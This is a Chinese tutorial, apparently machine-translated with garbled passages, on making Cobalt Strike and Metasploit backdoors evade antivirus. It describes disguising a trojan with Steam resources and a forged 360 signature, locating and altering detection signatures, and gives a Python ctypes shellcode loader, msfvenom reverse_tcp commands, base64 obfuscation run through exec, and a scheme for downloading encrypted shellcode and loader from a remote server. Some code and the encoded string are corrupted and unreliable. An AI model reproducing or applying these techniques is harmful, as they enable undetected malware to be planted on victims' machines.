cs shellcode免杀,shellcode在线免杀

  cs shellcode免杀,shellcode在线免杀

  Python外壳代码没有杀死

  一.导言

  随着安全厂商的成熟,做不杀马越来越难,成本也越来越高。它在短时间内使用新的开源项目进行分析,并将它们添加到特性库中。现在不杀项目不会很快就能杀了,但是也有两个方向可以发展。第一,学习他们的想法,自己实现,进行特色免疫。第二种是对原项目进行改造,检查其自身特性并将其移除。经过测试,可以实现无杀伤。

  二。查杀软件的检查方法

  1.签名检测

  2.相关内容的检测(例如使用loader加载shellcode)需要打开内存,将shellcode加载到内存中,最后执行内存区shellcode。这些步骤被反病毒人员提取为特征。调用一组打开内存的函数(比如virtualAlloc)后,使用virtualProtect将内存改为一个标记位,然后调用内存。

  3.动态行为检测(一般调用系统底层的api,敏感函数的软标记))。

  三。常用的非杀伤技术

  修改模式文件

  命令不要杀花。

  别再加炮弹了,干掉他们。

  记忆不需要被扼杀。

  二次编译

  分离和杀戮豁免

  资源变化

  无杀白名单

  本文篇幅有限,我只说几个技术点。首先,我们来了解一下签名的概念。特征码是通过以特定方式扫描源代码而获得的特定病毒的唯一标识。目前主流的APT工具cobaltstrike和msf已经被各大杀毒软件厂商盯上了,所以这两款软件产生的后门无疑是秒杀。那么,如何消除签名呢?我觉得主要分为三个方面。(1)对于exe的外部修改,修改资源文件,添加shell,修改数字签名;2)在特征码定位工具myccl中找到特征码部分,修改其汇编指令;3)放入自己的shellcode loader中。

  首先介绍一下我的第一个想法。

  在这里,我将向您展示如何使用cobaltstrike,首先选择监听器生成木马。

  很明显,特征码的所有成果都被火绒删除了,于是我们利用资源交换产生的后门木马,加上数字签名,加上案例,对原始特征码进行洗牌,杀毒软件把原始特征码

  首先打开工具Restorator资源修改工具,打算将后门文件中的资源文件替换为普通steam软件中的资源文件。

  拖动后门exe和steam.exe到工具中。

  进行替换操作,将steam游戏的资源复制到后门程序中,完成替换。

  我们发现后门程序的图标和信息发生了变化。

  然后,k8工具用于修改数字签名360的签名。

  添加后,我们来了最重要的一步是去壳。在这里,选壳也是很有讲究的。很多果壳产品都有加密壳,压缩壳…等等。我们得根据自己后门的情况来选择他们。添加一个shell可能会影响原程序的功能,所以必须逐个尝试不同的shell。目前,不同于杀毒软件的压缩壳upx已经引起了各大杀毒厂商的关注。所以删壳的效果是无法预期的。这里我们就用shell的优秀工具进行实验,打开软件加载后门。

  在这里,你可以根据自己的需求选择外壳选项。开发能力弱的高手可以直接默认shell。

  外壳完成了。我会确认的。

  通过目前主流的ctdz和火绒,可以看到online正常工作。

  现在我来介绍我的第二个想法。

  要修改后门的签名,首先设置监听器并生成后门beacon2.exe。

  显然又被举报了。我们的想法是用特征码定位工具定位特征码,打开myccl加载我们的后门程序。数组文件定位的原理是如何把整个段细分成几个小段,用软的方式导出检查。检查包含模式文件的部分,并进一步细分刚刚检查的代码部分。另外,在查杀软件不报毒之前,先检查软件并导出到签名部分,再修改签名。这种方法效率最高,但同时修改签名程序在最困难的情况下也无法正常工作。此外,修改数组文件requ

  用于定位模式文件的经典工具是myccl工具,但是在这里,您将使用virtest工具来创建自动定位模式文件以节省时间。首先,打开工具,加载后门文件,并创建要测试的样本。

  然后,装载测量对象的样本,并且在下一步骤中开始定位图案代码的检测。

  在这里选择自动决策选项程序,可以自动找到模式码区间。

  打开c32asm中的签名部分00044E38和00045EB1

  我们可以通过为他的下一个数据段填充命令和数据来干扰原始程序。例如

  推送ebp

  推动esp

  为什么要恢复栈基址

  添加esp,-0C

  添加esp,0C

  推送eax

  Jmp门户

  在这里,你只能选择加花来填补垃圾数据,可惜一切都失败了。那为什么不选择修改汇编指令呢?为什么这么说?这是因为这里没有汇编指令的替代语言。Kill软件对cs和msf生成的后门签名做了非常细致的标记,通过修改apt工具的签名很难绕过检测。虽然签名是图,但是利用修改签名的思想,很容易修改自己编写的后门病毒签名。

  实现了。修改特征码应该是我们的想法之一。分享我的第三个想法:自己写shellcoe加载器。

  说到免杀python,要知道ctypes ctypes是Python的外部函数库。它提供C兼容的数据类型,并允许调用dll或共享库中的函数。详情请参考本文末尾的官方文档。简单来说,你可以使用ctypes库来执行python中的C代码。

  事不宜迟,代码:

  -编码:utf-8 - import ctypes

  Buf=# CS或msf生成的外壳代码

  shellcode=bytearray(shellcode)

  ctypes . windll . kernel 32 . virtualalloc . restype=ctypes . c _ uint 64

  ctypes.c_int(0)

  ctypes.c_int(len(shellcode))

  ctypes.c_int(0x3000)

  ctypes.c_int(0x40)

  ptr=ctypes . windll . kernel 32 . virtualalloc(ctypes . c _ int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),

  ctypes.c_int(0x40))

  buf=(ctypes . c _ char * len(shellcode))。from_buffer(外壳代码)

  ctypes . windll . kernel 32 . rtlmovememory(

  ctypes.c_uint64(ptr),

  buf,

  ctypes.c_int(len(shellcode))

  )

  安全属性

  dwStackSize

  lpStartAddress

  lpParameter

  dwCreationFlags

  lpThreadId

  ""

  handle=ctypes . windll . kernel 32 . create thread(

  ctypes.c_int(0),

  ctypes.c_int(0),

  ctypes.c_uint64(ptr),

  ctypes.c_int(0),

  ctypes.c_int(0),

  ctypes.pointer(ctypes.c_int(0))

  )

  ctypes . windll . kernel 32 . waitforsingleobject(ctypes . c _ int(handle),ctypes.c_int(-1))

  这个loader就是在内存中开辟一个内存空间,然后把我们生成的shellcode放到创建线程中执行。VirtualAlloc函数用于申请内存。这个功能还是比较敏感的。说白了,查杀软件会限制功能黑名单,所以总会有漏网之鱼。在github上,有大佬用不同的函数写了很多C loader调用代码,我们自然要混淆。有些方法是防病毒软件无法识别的。但这里我们以这台装载机为例。既然不需要这个特征码,那就需要混淆一下。

  我们首先在msf上生成有效负载。

  MSF venom-p windows/x64/meter preter/reverse _ TCP lhost=IP lport=8000-f py

  然后放入loader进行测试和运行。

  使用pyinstall打包程序联机成功打包exe,并被终止。

  对于代码混淆,我们先介绍base64库,然后用msf用base64编码shellcode。

  MSF venom-p windows/x64/meter preter/reverse _ TCP-encrypt base64 lhost=IP lport=8000-f py

  添加代码

  base64首先被解码,然后被传递和替换,并且使用原始的外壳代码加载器。

  ctypes . windll . kernel 32 . virtualalloc . restype=ctypes . c _ uint 64

  ptr=ctypes . windll . kernel 32 . virtualalloc(ctypes . c _ int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))

  buf=(ctypes . c _ char * len(shellcode))。from_buffer(外壳代码)

  ctypes . windll . kernel 32 rtlmovememory(ctypes . c _ uint 64(ptr),buf,ctypes.c_int(len(shellcode)))

  handle=ctypes . windll . kernel 32 . create thread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes . c _ int(0),ctypes.pointer(ctypes.c_int(0))

  ctypes . windll . kernel 32 . waitforsingleobject(ctypes . c _ int(handle),ctypes.c_int(-1))

  改写成一句话,用base64加密。

  y 3 r5 cgvzlndpbmrsbc5 rzxjuzwwzmi 5 wax j 0 dwf sqwxsb 2 mucmvzdhlwzsa 9 ign 0 exblcy 5 JX 3 vpbnq 2 ndtwdhigpsbjdhlwzxmud 2 luzgxslmtlcm 5 bdmylzpcnr 1 ywxbgxvyhjdhlwzxmuy 19 pbnqomcksign 0 exblcy 5 JX 2 ludchszw 4 oc hlbgxj 2 rlksign0 exblcy 5 JX 2 ludcgwedmwmdapl

  然后通过exec(执行base64编码后的值)成功上线如图,以至于混淆了代码,即shellcode混淆和shellcode loader混淆。

  生成的2.exe成功穿越360和tinder。

  继续优化。如果我从shellcode loader中分离shellcode会怎样?那就是无离无杀。如果我把它们放在网络资源里而不是本地资源里呢?那就是无文件登陆。我通过http请求从我的远程服务器下载加密的shellcode和加密的shellcode loader,所以没有特征码,代码里只有一个请求远程资源的指令。

  在我的远程服务器中打开http服务并创建1.txt,放入base64加密的shellcode 2.txt中,放入base64加密的shellcode loader中。

  注意踩坑(base64中放的shellcode不要以字节流的格式放,要以字符串的形式,可以自己写脚本转换)

  1.txt内容

  2.txt内容

  核心代码段成功接收了会话。

  只有一个杀毒引擎报告了病毒,杀毒效果非常理想。

  注意:(不同语言的shellcode和loader,免杀效果是不一样的。这里只演示python在其他语言中可以被杀死。小语种效果越好,不同的exe打包器效果不同。pyinstall其实可以用py2exe打包,代码中尽量避免敏感词也很有意思,这样也会降低查杀率。不同的炮弹有不同的效果。)

  总结:免杀最重要的是理念。只有组合拳才能让免杀效果更好。比如上一次实验,我可以继续添加shells,修改资源文件,数字签名等。而且在代码混淆方面,我还可以执行aes加解密等复杂高强度的加密算法再次加密base64,增加了杀毒引擎还原源代码的难度。简而言之,我可以尽可能地消除特征码。而且,我们还可以使用前面介绍的修改功能,这是绕过软杀最直接的方法。当然还有白名单技术、二次编译等其他技术。这里空间有限,没办法再往前走了。免杀是一项经久不衰的技术,需要我们发散思维,经常学习。免杀技术是网络中攻防的实力较量。

cs shellcode免杀,shellcode在线免杀